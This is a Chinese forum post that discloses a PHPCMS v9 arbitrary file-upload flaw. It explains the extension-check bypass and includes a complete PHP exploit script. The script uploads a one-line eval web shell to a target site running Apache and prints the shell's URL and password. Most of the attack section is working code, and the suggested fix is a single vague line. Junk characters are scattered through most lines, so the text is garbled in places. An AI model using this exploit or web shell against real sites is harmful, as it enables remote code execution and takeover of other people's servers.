找回密码
 立即注册
查看: 2497|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
. \( P2 g6 |- U' s* A: P1 R8 S( O
# [; a' `$ I" N5 \- L3 R" t$ D% M- u简要描述:
" J- _. X$ b# m) P1 d4 |- b" ]4 P; @2 R* ]
phpcms v9 getshell (apache)
, W- r! J& M* `9 |# [详细说明:% K+ F5 z9 ?! v
& F, C- R% O7 ^8 d& L
漏洞文件:phpcms\modules\attachment\attachments.php% L) Q. L" j" D

* `/ B% c# s* Q3 P/ dpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }   I7 i5 `6 j2 r% h% d- u- A
后缀检测:phpcms\modules\attachment\functions\global.func.php9 }5 p/ o1 R* @* N$ G+ \$ Y

! H. f/ K2 g. ^! o0 i   b/ Z* e3 i* {& B1 f
( Z3 T- w3 Y0 t3 H5 _/ P
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
; g8 m; X) E4 `$ e: |( e2 u" N8 r
关键函数:
' C& y* `- B! j" h1 e
9 Y: Z$ [  m' t9 y; \% j9 L
8 O; G9 @: X/ Z& R( d- X; Q) a' f( ~% l
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  / n. N% |/ y3 ~9 O+ M2 M

# U" z! _) x5 L& l6 {% s5 G  Fileext函数是对文件后缀名的提取。: z$ ^) A8 w5 [& W: s! f4 i
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php& d: ^2 f- x  [8 p
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。: l+ u% D9 L- j( \
我们回到public function crop_upload() 函数中
! ?, }; F8 k! @: Iif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
0 q! K' w0 [  Y; n' ]3 D9 D3 v( ]在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数1 J. P3 `$ d' N6 h; Z% n
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。1 c/ w2 @" S$ x7 K( p
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。* @4 m' z0 q! ]' V, |
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
; p1 O+ @! {0 Q7 O  b看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。0 t+ f6 x5 \2 q  i  e2 K
漏洞证明:/ C* J. m+ `, Q5 {% H

' C2 T& g7 y. d* e! b( Q3 Kexp:& M0 n. {3 p  u- W* [. {

. l0 o& X% ?; U/ p/ G  `$ {6 O<?php$ p0 T3 u' ?, q7 y
error_reporting(E_ERROR);2 q6 y: c7 t; p% i( ~6 ^; [7 h
set_time_limit(0);; ~2 d7 `( N( Q8 E0 n
$pass="ln";
4 T: P3 p* {2 |6 Iprint_r('
6 p- y* ^6 _" i' l$ V+---------------------------------------------------------------------------+
$ ?. U' X* \, _3 t- BPHPCms V9 GETSHELL 0DAY
  G4 s$ ^" W4 h, j. dcode by L.N.2 T0 @8 Q, E% F# t
2 F' R+ Z' u% W' @! o
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
% _* B) L: V# m3 Q$ y+ I/ J% x+---------------------------------------------------------------------------+* u) y' z  e  `# Y7 z* l+ w
');: Y; m& x$ {% ]) u: y0 b! s- V
if ($argc < 2) {$ m' f) b5 B: ~2 z
print_r('
3 u& I; m5 P: E7 t+---------------------------------------------------------------------------+
6 O, t/ O& W, q6 b' ^Usage: php '.$argv[0].' url path9 S6 [$ T7 T, D$ Z1 p
4 C6 B. R6 c+ G9 @& [, V: ~
Example:
' j( m6 b0 {2 H; p0 R  Z1.php '.$argv[0].' lanu.sinaapp.com3 b' N5 ]8 h/ {+ \
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
9 a, n5 I2 ^* X8 |. }" T+---------------------------------------------------------------------------+
+ S- }, u6 X9 O) }' `/ d5 b');
0 }8 ?( S  |# J- J* e2 y0 \exit;
4 }  K7 A$ ]+ s* \8 ^# j}
" t- N2 Z. u2 Z. p1 [: a# n/ V7 `  m! O2 {0 ?# s* R1 j
$url = $argv[1];
7 m  H, s; t, k. I$ x$path = $argv[2];
  `  H/ H3 g" v3 _6 q$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';7 T6 t) x2 n5 `" m2 d
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
0 G  ]/ Z: K. a, p0 ^7 Tif($ret=Create_dir($url,$path))0 _" x' K1 y# ^
{0 U% B. ~. Q; \1 F7 b, X) g& x
//echo $ret;) n9 M% }8 M. s) ]
$pattern = "|Server:[^,]+?|U";( ]3 h. x: E& @. Y; W/ n; `
preg_match_all($pattern, $ret, $matches);
3 g4 k1 x3 K% X0 i# tif($matches[0][0])
( F- r$ j3 H( Z6 r{
# k/ ?& b. ?' C  F4 A& _9 Dif(strpos($matches[0][0],'Apache') == false)
7 i- R5 ]) K* t$ Q( M! \" s{8 E5 \* D( R! C& Z# Y3 J% E3 J5 F
echo "\n亲!此网站不是apache的网站。\n";exit;
9 ?1 ]& z4 W2 P}
! n6 X4 i  e4 N* c2 q% e# L3 ^5 t/ O}4 d( L  E3 h+ {+ Q) T! a' E
$ret = GetShell($url,$phpshell,$path,$file);/ }( }9 D2 k8 y# m
$pattern = "|http:\/\/[^,]+?\.,?|U";
/ f; T1 Z/ i2 t+ F4 e3 v& Mpreg_match_all($pattern, $ret, $matches);
6 A; a% u% a3 H. N6 Qif($matches[0][0])% D  `; X4 |8 Q+ n( c1 O$ W6 Q
{
, T) T0 ^+ z% ^6 f# h; U" hecho "\n".'密码为: '.$pass."\n";
$ a1 J# g' i$ l* _& hecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;8 n, k% |4 L8 I) U
}
% Z( i0 |( V$ G4 Felse
# [2 c& n& A5 u2 G3 r' y. f$ K{
0 z& _" F5 h9 k9 b0 Z$pattern = "|\/uploadfile\/[^,]+?\.,?|U";6 h  n# Y9 {5 e& Z0 q4 n
preg_match_all($pattern, $ret, $matches);8 d. x& g$ {+ o% a0 c
if($matches[0][0])
( ]8 j/ I8 V3 T9 @/ d{8 N5 a$ e, r% ?2 |6 _7 e" t+ {$ O
echo "\n".'密码为: '.$pass."\n";
% ?& \5 ]4 C& a) U4 T8 @8 secho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;# w/ T3 B9 I5 z3 _5 X
}* N) q, p6 K7 p9 Z, k& H5 {+ Y
else/ S2 Y6 R  L" q" `2 _0 V
{
4 N) z% r# H% z: K5 M4 ?" Eecho "\r\n没得到!\n";exit;' V) A" k) I% z; R4 P( w
}
0 r2 b6 [2 F1 U) t* h" a9 f}
# h9 M+ j( X" w$ M5 Q( W/ m}
! m& n) |( p- N9 n* j0 ?+ U2 J  r/ P" y1 c% W
function GetShell($url,$shell,$path,$js)6 N8 B' v( H" [  H
{8 N( r& m# E  L$ f7 a9 w
$content =$shell;- K5 W% i" c6 J% _9 S% K5 ~0 B
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";/ B9 @  V6 U1 X* n+ ?2 @
$data .= "Host: ".$url."\r\n";
2 F5 J0 }3 ^* C$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";+ a( T* F7 d& Z+ |
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
. x" ~- j1 m* O$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";4 g$ S# m  F/ f% {$ l
$data .= "Connection: close\r\n";
& V6 n- P- G4 ~9 R0 D$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
3 @8 S; W, C: ~4 T- Q$data .= $content."\r\n";
$ h  C9 Y& G- Y+ R$ock=fsockopen($url,80);' P8 m  p9 h  M2 Y  g4 P$ H" k* ?0 ?
if (!$ock)
/ [% [! }& l' ^- v* z1 C( v7 L{- u9 ~3 M! X, V; `6 Z6 u% {
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;1 m, @" B" m& k4 ?* p1 Y
}) U, P# D2 i2 ~) A& Q
else0 m/ l6 _+ |) a8 p5 l* r2 E) [, j
{  W' D+ G9 b, M( L
fwrite($ock,$data);+ d( I, T; p6 C8 j' `$ {
$resp = '';) e) J1 R- a/ J# ]5 @8 @- Y
while (!feof($ock))1 i( _, E! r% d! b+ t
{6 r" C8 c1 i" a, r+ R9 R1 p1 N
$resp.=fread($ock, 1024);
# Q7 I) w$ _  B  f" |1 r( r}
# @- c' e' ~( {1 |9 L- n3 qreturn $resp;
6 r: W/ S. u6 C}: P& ?: _5 S; k, m5 M3 C# G
}
; l- o$ w' X% i% x0 g5 q3 @! o+ W/ X& O
function Create_dir($url,$path='')
6 t: j7 F* W, @; [1 O$ {{3 n; I- ?: n% X4 R( m0 K
$content ='I love you';9 y6 B2 D! ]3 C) s/ ]. E6 o) K
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";* o7 F5 H; z5 s9 L
$data .= "Host: ".$url."\r\n";
- d  d8 I  }" d8 v: @! R+ g3 B. t* b$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";% c4 t4 P% d3 s* o# r
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
1 B, z( [# V* J$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";7 m9 k+ c( A( }
$data .= "Connection: close\r\n";
, ?3 i# V) ?( Y; P$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
9 @* ?2 X% G0 C7 \. {& Y  f, C$data .= $content."\r\n";6 C8 P/ N7 P2 @4 w
$ock=fsockopen($url,80);4 q. T! b2 c% X) P9 i' Z
if (!$ock)
3 d# u* L& c% K: h7 ~, ]  r{: g! `% J* F5 Z5 U5 |5 V9 I
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
% s( V1 z/ r' K}
. ?/ @2 m" ?4 r6 x$ t* wfwrite($ock,$data);4 ^% E! E: U3 \, K' r2 _  r1 O
$resp = '';
) n' W3 a4 H, }3 ]; w* iwhile (!feof($ock))
! q& ^) s" h4 e! i( o6 E{
4 l( R3 R/ C( v4 u1 j$resp.=fread($ock, 1024);
- h8 V/ G; R8 X% K' J" \}
! s8 I" W  B5 Ereturn $resp;& b2 H0 C) r6 R: j/ I
}
6 i" L, w# L1 h  c?>
1 q" t  h) u/ s + w; q2 {- m0 y; N6 @1 s
修复方案:
: T+ _9 ?  g+ I% b$ I; ?9 e9 j
$ ]6 d/ G+ T. r) r2 t% D+ t过滤过滤再过滤( a* s- @4 \7 _7 h6 T

8 d5 M6 a) O6 {6 x; @" U' A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表